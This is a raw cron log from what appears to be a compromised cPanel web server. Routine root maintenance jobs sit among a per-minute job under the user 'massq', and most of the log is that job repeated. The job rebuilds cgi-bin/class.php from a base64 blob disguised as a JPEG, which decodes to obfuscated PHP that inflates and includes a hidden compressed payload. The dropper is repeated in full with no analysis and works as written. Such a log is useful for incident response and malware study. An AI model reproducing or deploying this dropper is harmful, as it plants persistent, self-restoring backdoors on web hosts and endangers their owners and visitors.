Nov 10 02:14:01 server CROND[26549]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:15:01 server CROND[27365]: (root) CMD (/usr/local/cpanel/bin/dbindex &gt;/dev/null 2&gt;&amp;1)
Nov 10 02:15:01 server CROND[27364]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 02:15:01 server CROND[27366]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:15:01 server CROND[27367]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 02:16:01 server CROND[28234]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:17:01 server CROND[29052]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:18:01 server CROND[29885]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:19:01 server CROND[30788]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:20:01 server CROND[31796]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 10 02:20:01 server CROND[31797]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 10 02:20:01 server CROND[31800]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 02:20:01 server CROND[31803]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:20:01 server CROND[31801]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 02:21:01 server CROND[32659]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:22:01 server CROND[965]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:23:01 server CROND[1786]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:24:01 server CROND[2477]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:25:01 server CROND[3313]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 10 02:25:01 server CROND[3314]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore &gt;/dev/null 2&gt;&amp;1)
Nov 10 02:25:01 server CROND[3315]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 10 02:25:01 server CROND[3316]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:26:01 server CROND[4177]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 10 02:27:01 server CROND[4701]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
